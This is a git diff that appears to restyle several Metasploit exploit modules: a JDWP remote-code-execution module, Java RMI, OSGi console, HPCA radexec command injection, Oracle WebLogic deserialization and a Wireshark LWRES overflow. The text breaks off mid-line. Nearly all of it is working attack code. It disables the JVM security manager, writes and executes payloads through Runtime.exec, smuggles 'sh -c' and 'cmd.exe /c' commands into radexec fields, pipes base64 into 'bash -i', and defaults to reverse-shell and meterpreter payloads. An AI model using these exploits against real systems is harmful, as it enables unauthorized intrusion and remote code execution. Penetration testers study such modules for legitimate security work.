0 - cmd_obj_id = cmd_obj_ids[0]["obj_id"] + cmd_obj_ids = create_string('os.name') + fail_with(Failure::Unknown, 'Failed to allocate string for payload dumping') if cmd_obj_ids.length == 0 + cmd_obj_id = cmd_obj_ids[0]['obj_id'] # 2. Gets property data = [TAG_OBJECT].pack('C') data << format(size, cmd_obj_id) data_array = [data] - runtime_class, runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty") - buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C') + runtime_class, runtime_meth = get_class_and_method('Ljava/lang/System;', 'getProperty') + buf = invoke_static(runtime_class['reftype_id'], thread_id, runtime_meth['method_id'], data_array) + fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected String') unless buf[0] == [TAG_STRING].pack('C') str = unformat(size, buf[1..1 + size - 1]) - @os = solve_string(format(@vars["objectid_size"], str)) + @os = solve_string(format(@vars['objectid_size'], str)) end # Creates a file on the server given a execution thread def create_file(thread_id, filename) cmd_obj_ids = create_string(filename) - fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0 + fail_with(Failure::Unknown, 'Failed to allocate string for filename') if cmd_obj_ids.length == 0 - cmd_obj_id = cmd_obj_ids[0]["obj_id"] - size = @vars["objectid_size"] + cmd_obj_id = cmd_obj_ids[0]['obj_id'] + size = @vars['objectid_size'] data = [TAG_OBJECT].pack('C') data << format(size, cmd_obj_id) data_array = [data] - runtime_class, runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V") - buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') + runtime_class, runtime_meth = get_class_and_method('Ljava/io/FileOutputStream;', '<init>', '(Ljava/lang/String;)V') + buf = create_instance(runtime_class['reftype_id'], thread_id, runtime_meth['method_id'], data_array) + fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected Object') unless buf[0] == [TAG_OBJECT].pack('C') file = unformat(size, buf[1..1 + size - 1]) - fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0) + fail_with(Failure::Unknown, 'Failed to create file. Try to change the TMP_PATH') if file.nil? || (file == 0) register_files_for_cleanup(filename) @@ -728,14 +726,14 @@ class MetasploitModule < Msf::Exploit::Remote end # Stores the payload on a new string created in target VM - def upload_payload(thread_id, pl_exe) - size = @vars["objectid_size"] + def upload_payload(_thread_id, pl_exe) + size = @vars['objectid_size'] buf = create_array(pl_exe.length) - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C') + fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected Array') unless buf[0] == [TAG_ARRAY].pack('C') pl = unformat(size, buf[1..1 + size - 1]) - fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0) + fail_with(Failure::Unknown, 'Failed to create byte array to store payload') if pl.nil? || (pl == 0) set_values(pl, pl_exe.bytes) pl @@ -743,62 +741,62 @@ class MetasploitModule < Msf::Exploit::Remote # Dumps the payload on a opened server file given a execution thread def dump_payload(thread_id, file, pl) - size = @vars["objectid_size"] + size = @vars['objectid_size'] data = [TAG_OBJECT].pack('C') data << format(size, pl) data_array = [data] - runtime_class, runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V") - buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) + runtime_class, runtime_meth = get_class_and_method('Ljava/io/FileOutputStream;', 'write', '([B)V') + buf = invoke(file, thread_id, runtime_class['reftype_id'], runtime_meth['method_id'], data_array) unless buf[0] == [TAG_VOID].pack('C') - fail_with(Failure::Unknown, "Exception while writing to file") + fail_with(Failure::Unknown, 'Exception while writing to file') end end # Closes a file on the server given a execution thread def close_file(thread_id, file) - runtime_class, runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close") - buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"]) + runtime_class, runtime_meth = get_class_and_method('Ljava/io/FileOutputStream;', 'close') + buf = invoke(file, thread_id, runtime_class['reftype_id'], runtime_meth['method_id']) unless buf[0] == [TAG_VOID].pack('C') - fail_with(Failure::Unknown, "Exception while closing file") + fail_with(Failure::Unknown, 'Exception while closing file') end end # Executes a system command on target VM making use of java.lang.Runtime.exec() def execute_command(thread_id, cmd) - size = @vars["objectid_size"] + size = @vars['objectid_size'] # 1. Creates a string on target VM with the command to be executed cmd_obj_ids = create_string(cmd) if cmd_obj_ids.length == 0 - fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") + fail_with(Failure::Unknown, 'Failed to allocate string for payload dumping') end - cmd_obj_id = cmd_obj_ids[0]["obj_id"] + cmd_obj_id = cmd_obj_ids[0]['obj_id'] # 2. Gets Runtime context - runtime_class, runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime") - buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) + runtime_class, runtime_meth = get_class_and_method('Ljava/lang/Runtime;', 'getRuntime') + buf = invoke_static(runtime_class['reftype_id'], thread_id, runtime_meth['method_id']) unless buf[0] == [TAG_OBJECT].pack('C') - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected Object') end rt = unformat(size, buf[1..1 + size - 1]) if rt.nil? || (rt == 0) - fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") + fail_with(Failure::Unknown, 'Failed to invoke Runtime.getRuntime()') end # 3. Finds and executes "exec" method supplying the string with the command - exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec") + exec_meth = get_method_by_name(runtime_class['reftype_id'], 'exec') if exec_meth.nil? - fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") + fail_with(Failure::BadConfig, 'Cannot find method Runtime.exec()') end data = [TAG_OBJECT].pack('C') data << format(size, cmd_obj_id) data_array = [data] - buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array) + buf = invoke(rt, thread_id, runtime_class['reftype_id'], exec_meth['method_id'], data_array) unless buf[0] == [TAG_OBJECT].pack('C') - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected Object') end end @@ -812,20 +810,20 @@ class MetasploitModule < Msf::Exploit::Remote break end end - fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil? + fail_with(Failure::Unknown, 'Could not find a suitable thread for stepping') if t_id.nil? # 2. Suspend the VM before setting the event suspend_vm vprint_status("Setting 'step into' event in thread: #{t_id}") - step_info = format(@vars["objectid_size"], t_id) + step_info = format(@vars['objectid_size'], t_id) step_info << [STEP_MIN].pack('N') step_info << [STEP_INTO].pack('N') data = [[MODKIND_STEP, step_info]] r_id = send_event(EVENT_STEP, data) unless r_id - fail_with(Failure::Unknown, "Could not set the event") + fail_with(Failure::Unknown, 'Could not set the event') end return r_id, t_id @@ -833,28 +831,28 @@ class MetasploitModule < Msf::Exploit::Remote # Disables security manager if it's set on target JVM def disable_sec_manager - sys_class = get_class_by_name("Ljava/lang/System;") + sys_class = get_class_by_name('Ljava/lang/System;') - fields = get_fields(sys_class["reftype_id"]) + fields = get_fields(sys_class['reftype_id']) sec_field = nil fields.each do |field| - sec_field = field["field_id"] if field["name"].downcase == "security" + sec_field = field['field_id'] if field['name'].downcase == 'security' end - fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil? + fail_with(Failure::Unknown, 'Security attribute not found') if sec_field.nil? - value = get_value(sys_class["reftype_id"], sec_field) + value = get_value(sys_class['reftype_id'], sec_field) if (value == 0) - print_good("Security manager was not set") + print_good('Security manager was not set') else - set_value(sys_class["reftype_id"], sec_field, 0) - if get_value(sys_class["reftype_id"], sec_field) == 0 - print_good("Security manager has been disabled") + set_value(sys_class['reftype_id'], sec_field, 0) + if get_value(sys_class['reftype_id'], sec_field) == 0 + print_good('Security manager has been disabled') else - print_good("Security manager has not been disabled, trying anyway...") + print_good('Security manager has not been disabled, trying anyway...') end end end @@ -903,25 +901,25 @@ class MetasploitModule < Msf::Exploit::Remote connect unless handshake == HANDSHAKE - fail_with(Failure::NotVulnerable, "JDWP Protocol not found") + fail_with(Failure::NotVulnerable, 'JDWP Protocol not found') end - print_status("Retrieving the sizes of variable sized data types in the target VM...") + print_status('Retrieving the sizes of variable sized data types in the target VM...') get_sizes - print_status("Getting the version of the target VM...") + print_status('Getting the version of the target VM...') get_version - print_status("Getting all currently loaded classes by the target VM...") + print_status('Getting all currently loaded classes by the target VM...') get_all_classes - print_status("Getting all running threads in the target VM...") + print_status('Getting all running threads in the target VM...') get_all_threads print_status("Setting 'step into' event...") r_id, t_id = set_step_event - print_status("Resuming VM and waiting for an event...") + print_status('Resuming VM and waiting for an event...') response = resume_vm unless parse_event(response, r_id, t_id) @@ -937,13 +935,13 @@ class MetasploitModule < Msf::Exploit::Remote end vprint_status("Received matching event from thread #{t_id}") - print_status("Deleting step event...") + print_status('Deleting step event...') clear_event(EVENT_STEP, r_id) - print_status("Disabling security manager if set...") + print_status('Disabling security manager if set...') disable_sec_manager - print_status("Dropping and executing payload...") + print_status('Dropping and executing payload...') exec_payload(t_id) disconnect diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index 712c77a9ee..7153ed2d33 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -56,28 +56,28 @@ class MetasploitModule < Msf::Exploit::Remote 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_PPC, + 'Arch' => ARCH_PPC } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ] ], @@ -97,38 +97,36 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - begin - Timeout.timeout(datastore['HTTPDELAY']) { super } - rescue Timeout::Error - # When the server stops due to our timeout, re-raise - # RuntimeError so it won't wait the full wfs_delay - raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request" - rescue Msf::Exploit::Failed - # When the server stops due primer failing, re-raise - # RuntimeError so it won't wait the full wfs_delays - raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}" - rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e - # When the primer fails due to an error connecting with - # the rhost, re-raise RuntimeError so it won't wait the - # full wfs_delays - raise ::RuntimeError, e.message - end + Timeout.timeout(datastore['HTTPDELAY']) { super } + rescue Timeout::Error + # When the server stops due to our timeout, re-raise + # RuntimeError so it won't wait the full wfs_delay + raise "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request" + rescue Msf::Exploit::Failed + # When the server stops due primer failing, re-raise + # RuntimeError so it won't wait the full wfs_delays + raise "Exploit aborted due to failure #{fail_reason} #{(fail_detail || 'No reason given')}" + rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e + # When the primer fails due to an error connecting with + # the rhost, re-raise RuntimeError so it won't wait the + # full wfs_delays + raise e.message.to_s end def primer connect - print_status("Sending RMI Header...") + print_status('Sending RMI Header...') send_header ack = recv_protocol_ack if ack.nil? fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") end - jar = rand_text_alpha(rand(8) + 1) + '.jar' + jar = rand_text_alpha(rand(1..8)) + '.jar' new_url = get_uri + '/' + jar - print_status("Sending RMI Call...") + print_status('Sending RMI Call...') dgc_interface_hash = calculate_interface_hash( [ { @@ -179,8 +177,8 @@ class MetasploitModule < Msf::Exploit::Remote p = regenerate_payload(cli) jar = p.encoded_jar paths = [ - [ "metasploit", "RMILoader.class" ], - [ "metasploit", "RMIPayload.class" ], + [ 'metasploit', 'RMILoader.class' ], + [ 'metasploit', 'RMIPayload.class' ], ] jar.add_file('metasploit/', '') # create metasploit dir @@ -197,7 +195,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Pragma' => 'no-cache' }) - print_status("Replied to request for payload JAR") + print_status('Replied to request for payload JAR') cleanup_service end end diff --git a/modules/exploits/multi/misc/msf_rpc_console.rb b/modules/exploits/multi/misc/msf_rpc_console.rb index a33b39550b..07e1fa8808 100644 --- a/modules/exploits/multi/misc/msf_rpc_console.rb +++ b/modules/exploits/multi/misc/msf_rpc_console.rb @@ -71,7 +71,7 @@ class MetasploitModule < Msf::Exploit::Remote ] end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) res = @rpc.call 'console.write', @console_id, "\r\n#{cmd}\r\n" if res.nil? @@ -89,10 +89,10 @@ class MetasploitModule < Msf::Exploit::Remote def exploit begin - @rpc = Msf::RPC::Client.new :host => rhost, :port => rport, :ssl => ssl - rescue Rex::ConnectionRefused => e + @rpc = Msf::RPC::Client.new host: rhost, port: rport, ssl: ssl + rescue Rex::ConnectionRefused fail_with Failure::Unreachable, 'Connection refused' - rescue => e + rescue StandardError => e fail_with Failure::Unknown, "Connection failed: #{e}" end diff --git a/modules/exploits/multi/misc/osgi_console_exec.rb b/modules/exploits/multi/misc/osgi_console_exec.rb index 2535bddc7b..2a8f50094f 100644 --- a/modules/exploits/multi/misc/osgi_console_exec.rb +++ b/modules/exploits/multi/misc/osgi_console_exec.rb @@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote res = sock.get_once end disconnect - if res && res == "osgi> " + if res && res == 'osgi> ' return Exploit::CheckCode::Vulnerable end @@ -71,31 +71,29 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - begin - print_status("Accessing the OSGi console ...") + print_status('Accessing the OSGi console ...') - unless check == Exploit::CheckCode::Vulnerable - fail_with(Failure::NoTarget, "#{peer} - Failed to access the OSGi console") - end - - if target['Platform'] == "win" then - exec_command("fork \"#{cmd_psh_payload(payload.encoded, payload_instance.arch.first, { encode_final_payload: true, remove_comspec: true })}\"") - else - execute_cmdstager({ :flavor => :bourne }) - end - - print_status("#{rhost}:#{rport} - Waiting for session...") - - (datastore['TIME_WAIT']).times do - Rex.sleep(1) - # Success! session is here! - break if session_created? - end - rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e - fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}") - ensure - disconnect + unless check == Exploit::CheckCode::Vulnerable + fail_with(Failure::NoTarget, "#{peer} - Failed to access the OSGi console") end + + if target['Platform'] == 'win' + exec_command("fork \"#{cmd_psh_payload(payload.encoded, payload_instance.arch.first, { encode_final_payload: true, remove_comspec: true })}\"") + else + execute_cmdstager({ flavor: :bourne }) + end + + print_status("#{rhost}:#{rport} - Waiting for session...") + + (datastore['TIME_WAIT']).times do + Rex.sleep(1) + # Success! session is here! + break if session_created? + end + rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e + fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}") + ensure + disconnect end def exec_command(cmd) @@ -107,18 +105,18 @@ class MetasploitModule < Msf::Exploit::Remote TELNET_IAC::IAC + TELNET_IAC::DO + TELNET_IAC::OPT_TTYPE sock.put(TELNET_IAC::IAC + TELNET_IAC::SB + TELNET_IAC::OPT_TTYPE + \ "\x00xterm-256color" + TELNET_IAC::IAC + TELNET_IAC::SE) - res = sock.get_once + sock.get_once end - print_status("Exploiting...") + print_status('Exploiting...') sock.put("#{cmd}\r\n") - res = sock.get + sock.get sock.put("disconnect\r\n") - res = sock.get + sock.get sock.put("y\r\n") end - def execute_command(cmd, opts = {}) - cmd_b64 = Base64.encode64(cmd).gsub(/\s+/, "") + def execute_command(cmd, _opts = {}) + cmd_b64 = Base64.encode64(cmd).gsub(/\s+/, '') # Runtime.getRuntime().exec() workaround on Linux. Requires bash. exec_command("fork \"bash -c {echo,#{cmd_b64}}|{base64,-d}|{bash,-i}\"") end diff --git a/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb b/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb index 2e1f8153a2..c1ba2f340c 100644 --- a/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb +++ b/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb @@ -86,8 +86,8 @@ class MetasploitModule < Msf::Exploit::Remote def check connect sock.put("\x00") # port - sock.put("#{rand_text_alphanumeric(4 + rand(3))}\x00") # user ID - sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password + sock.put("#{rand_text_alphanumeric(rand(4..6))}\x00") # user ID + sock.put("#{rand_text_alpha(rand(4..6))}\x00") # password sock.put("hide\x00") # command res = sock.get_once disconnect @@ -103,7 +103,7 @@ class MetasploitModule < Msf::Exploit::Remote case target['Platform'] when 'win' print_status('Exploiting Windows target...') - execute_cmdstager({ :flavor => :vbs, :linemax => 290 }) + execute_cmdstager({ flavor: :vbs, linemax: 290 }) when 'unix' print_status('Exploiting Linux target...') exploit_unix @@ -116,21 +116,21 @@ class MetasploitModule < Msf::Exploit::Remote connect sock.put("\x00") # port sock.put("0\x00") # user ID - sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password - sock.put("hide hide\x09sh -c '#{payload.encoded.gsub(/\\/, "\\\\\\\\")}'\x00") # command, here commands can be injected + sock.put("#{rand_text_alpha(rand(4..6))}\x00") # password + sock.put("hide hide\x09sh -c '#{payload.encoded.gsub(/\\/, '\\\\\\\\')}'\x00") # command, here commands can be injected disconnect end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) connect sock.put("\x00") # port sock.put("S-1-5-18\x00") # user ID - sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password + sock.put("#{rand_text_alpha(rand(4..6))}\x00") # password sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected res = sock.get_once disconnect unless res && res.unpack('C')[0] == 0 - fail_with(Failure::Unknown, "Something failed executing the stager...") + fail_with(Failure::Unknown, 'Something failed executing the stager...') end end end diff --git a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb index 433eace16f..969644a36e 100644 --- a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb +++ b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb @@ -72,10 +72,10 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Connecting to IRC server...") connect - data = "" + data = '' begin read_data = sock.get_once(-1, 1) - while not read_data.nil? + until read_data.nil? data << read_data read_data = sock.get_once(-1, 1) end @@ -112,10 +112,10 @@ class MetasploitModule < Msf::Exploit::Remote def send_msg(sock, data) sock.put(data) - data = "" + data = '' begin read_data = sock.get_once(-1, 1) - while not read_data.nil? + until read_data.nil? data << read_data read_data = sock.get_once(-1, 1) end @@ -125,9 +125,9 @@ class MetasploitModule < Msf::Exploit::Remote end def register(sock) - msg = "" + msg = '' - if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty? + if datastore['IRC_PASSWORD'] and !datastore['IRC_PASSWORD'].empty? msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" end diff --git a/modules/exploits/multi/misc/teamcity_agent_xmlrpc_exec.rb b/modules/exploits/multi/misc/teamcity_agent_xmlrpc_exec.rb index b64a0af26f..ce97c1118c 100644 --- a/modules/exploits/multi/misc/teamcity_agent_xmlrpc_exec.rb +++ b/modules/exploits/multi/misc/teamcity_agent_xmlrpc_exec.rb @@ -179,9 +179,9 @@ class MetasploitModule < Msf::Exploit::Remote ) if !res.nil? && res.code == 200 - print_status("Successfully sent build configuration") + print_status('Successfully sent build configuration') else - print_status("Failed to send build configuration") + print_status('Failed to send build configuration') end end diff --git a/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb b/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb index 516fb64604..7690719e27 100644 --- a/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb +++ b/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ', + 'Name' => 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService', 'Description' => %q{ An unauthenticated attacker with network access to the Oracle Weblogic Server T3 interface can send a malicious SOAP request to the interface WLS AsyncResponseService diff --git a/modules/exploits/multi/misc/weblogic_deserialize_marshalledobject.rb b/modules/exploits/multi/misc/weblogic_deserialize_marshalledobject.rb index 32b3e9d126..97dc76cc7d 100644 --- a/modules/exploits/multi/misc/weblogic_deserialize_marshalledobject.rb +++ b/modules/exploits/multi/misc/weblogic_deserialize_marshalledobject.rb @@ -33,32 +33,38 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Unix', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' }, - 'Payload' => { - 'Compat' => { 'PayloadType' => 'cmd' } + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' }, + 'Payload' => { + 'Compat' => { 'PayloadType' => 'cmd' } + } } ], [ 'Windows', - 'Platform' => 'win', - 'Payload' => {}, - 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } + { + 'Platform' => 'win', + 'Payload' => {}, + 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } + } ], [ 'Solaris', - 'Platform' => 'solaris', - 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }, - 'Payload' => { - 'Space' => 2048, - 'DisableNops' => true, - 'Compat' => + { + 'Platform' => 'solaris', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }, + 'Payload' => { + 'Space' => 2048, + 'DisableNops' => true, + 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl telnet', + 'RequiredCmd' => 'generic perl telnet' } + } } ] ], diff --git a/modules/exploits/multi/misc/weblogic_deserialize_rawobject.rb b/modules/exploits/multi/misc/weblogic_deserialize_rawobject.rb index a8b3a31d1a..a72404bad1 100644 --- a/modules/exploits/multi/misc/weblogic_deserialize_rawobject.rb +++ b/modules/exploits/multi/misc/weblogic_deserialize_rawobject.rb @@ -33,32 +33,38 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Unix', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' }, - 'Payload' => { - 'Compat' => { 'PayloadType' => 'cmd' } + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' }, + 'Payload' => { + 'Compat' => { 'PayloadType' => 'cmd' } + } } ], [ 'Windows', - 'Platform' => 'win', - 'Payload' => {}, - 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } + { + 'Platform' => 'win', + 'Payload' => {}, + 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } + } ], [ 'Solaris', - 'Platform' => 'solaris', - 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }, - 'Payload' => { - 'Space' => 2048, - 'DisableNops' => true, - 'Compat' => + { + 'Platform' => 'solaris', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }, + 'Payload' => { + 'Space' => 2048, + 'DisableNops' => true, + 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl telnet', + 'RequiredCmd' => 'generic perl telnet' } + } } ] ], diff --git a/modules/exploits/multi/misc/weblogic_deserialize_unicastref.rb b/modules/exploits/multi/misc/weblogic_deserialize_unicastref.rb index 918dc83602..07cccae413 100644 --- a/modules/exploits/multi/misc/weblogic_deserialize_unicastref.rb +++ b/modules/exploits/multi/misc/weblogic_deserialize_unicastref.rb @@ -34,34 +34,40 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Unix', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' }, - 'Payload' => { - 'Encoder' => 'cmd/ifs', - 'BadChars' => ' ', - 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'python' } + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' }, + 'Payload' => { + 'Encoder' => 'cmd/ifs', + 'BadChars' => ' ', + 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'python' } + } } ], [ 'Windows', - 'Platform' => 'win', - 'Payload' => {}, - 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } + { + 'Platform' => 'win', + 'Payload' => {}, + 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } + } ], [ 'Solaris', - 'Platform' => 'solaris', - 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }, - 'Payload' => { - 'Space' => 2048, - 'DisableNops' => true, - 'Compat' => + { + 'Platform' => 'solaris', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }, + 'Payload' => { + 'Space' => 2048, + 'DisableNops' => true, + 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl telnet', + 'RequiredCmd' => 'generic perl telnet' } + } } ] ], diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb index 5ddab56efc..f350688e54 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb @@ -46,13 +46,13 @@ class MetasploitModule < Msf::Exploit::Remote [ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ] ], 'DefaultOptions' => { - 'EXITFUNC' => 'process', + 'EXITFUNC' => 'process' }, 'Privileged' => true, # at least capture privilege 'Payload' => { 'Space' => 512, 'BadChars' => "\x00", - 'DisableNops' => true, + 'DisableNops' => true }, 'Targets' => [ [ @@ -96,7 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => ARCH_X64, 'Platform' => 'linux', 'Ret' => 0xfeedfed5deadbeef, - 'RetOff' => 152, + 'RetOff' => 152 } ], @@ -106,7 +106,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => ARCH_X86, 'Platform' => 'osx', 'Ret' => 0xdeadbeef, - 'RetOff' => 268, + 'RetOff' => 268 } ], @@ -122,7 +122,7 @@ class MetasploitModule < Msf::Exploit::Remote # 0x02A110B6 = pop/pop/ret in libgtk-w # 0x03D710CC = pop/mov/pop/ret in packet # 0x61B4121B = pop/pop/ret in pcre3 - 'RetOff' => 2128, + 'RetOff' => 2128 } ], ], @@ -159,7 +159,7 @@ class MetasploitModule < Msf::Exploit::Remote str << rand_text(4) # ret is next elsif (target == targets[1]) - fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-3500").encode_string + fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, 'add esp,-3500').encode_string str = make_nops(ret_offset - fix_esp.length - payload.encoded.length) str << fix_esp str << payload.encoded @@ -167,7 +167,7 @@ class MetasploitModule < Msf::Exploit::Remote str << [target.ret].pack('V') # jump back distance = ret_offset + 4 - str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string + str << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'jmp $-' + distance.to_s).encode_string elsif (target == targets[2]) str = Rex::Text.pattern_create(ret_offset - 8) str << Rex::Arch.pack_addr(target.arch, 0xdac0ffeebadc0ded) @@ -178,7 +178,7 @@ class MetasploitModule < Msf::Exploit::Remote str << generate_seh_record(target.ret) # jump back distance = ret_offset + 8 - str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string + str << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'jmp $-' + distance.to_s).encode_string else # this is just a simple DoS payload str = Rex::Text.pattern_create(ret_offset) diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb index 65bf1a8185..0445f41bdf 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb @@ -48,13 +48,13 @@ class MetasploitModule < Msf::Exploit::Remote [ 'URL', 